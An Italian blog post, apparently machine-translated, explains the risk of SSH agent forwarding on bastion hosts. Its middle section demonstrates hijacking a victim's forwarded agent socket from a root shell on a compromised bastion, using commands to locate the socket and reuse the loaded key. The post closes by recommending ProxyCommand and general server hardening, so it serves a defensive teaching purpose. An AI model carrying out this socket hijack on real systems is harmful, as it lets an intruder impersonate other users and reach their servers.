Ho visto la risposta su ProxyJump. Parliamo di ProxyCommand .
Ma aspetta, aspetta! Posso scriverti come hackerare il server che utilizza l'inoltro agente, sarebbe molto più facile capire la differenza!
Facciamo hack!
Per i passaggi di base: puoi leggere il mio post qui
I passaggi di base sono i seguenti:
- Crea utenti del bastione
- Disabilita il login root
- Blocca i tentativi di hacking
- Cambia porta
- Configura firewall
- Configura SELinux
Come usare AgentForwarding
-Creare la configurazione in ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Aggiungere la chiave di autenticazione a ssh-agent
ssh-add ~/.ssh/name_rsa
-Collega ai bastioni
ssh bast
-Collegare il server delle applicazioni dal bastione
ssh app@IP -p PORT
Hacking!
Potresti, bene, farmi la domanda:
Come hackerare i server se hai compromesso l'host bastion?
Traccia target
Nella directory / tmp potresti vedere qualcosa del genere:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Apriamo il file temporaneo
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Vediamo le connessioni a questo ID processo.
netstat -nxp | grep 10507
risultato:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
e chi è collegato?
lsof -i -a -p 10507
risultato:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Possiamo anche vedere i file socket:
cd /proc/10507/fd/
ls
risultato:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
E cosa succede quando il client sarà connesso al server remoto? vediamo:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Possiamo anche vedere se il file socket è usato usando netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Ruba informazioni su socket e indirizzo IP
Ora dobbiamo rubare le informazioni sul socket mentre la sessione dell'host bastione è aperta . Oh, abbiamo anche bisogno dell'IP del server di destinazione , quindi usa solo netstat:
netstat -tn
Il passaggio finale per utilizzare il file socket inoltrato
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Controlla se la chiave è caricata .
ssh-add -l
il risultato dovrebbe essere qualcosa del genere :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Il server è stato violato, come risolvere il problema di sicurezza?
Comando proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Per le operazioni di base: come trasferire file tramite i server (da client a server, server a client), puoi leggere sul mio post qui
Conclusione
- Se usi l'host bastion, non usare AgentForwarding ma usa ProxyCommand
- Utilizzare sempre l'utente non root per l'autenticazione
- Utilizzare un firewall e bloccare tutte le connessioni non necessarie.
- Usa SELinux (in generale)
- Blocca l'indirizzo IP che tenta di accedere più volte con credenziali errate
- Se non è necessario, non concedere l'autorizzazione sudo all'utente
- Monitora il tuo server
- Aggiorna il tuo server per le patch di sicurezza
Maggiori informazioni, vedi il mio blog . Inoltre ho alcuni screeenshots, quindi potrebbe esserti utile.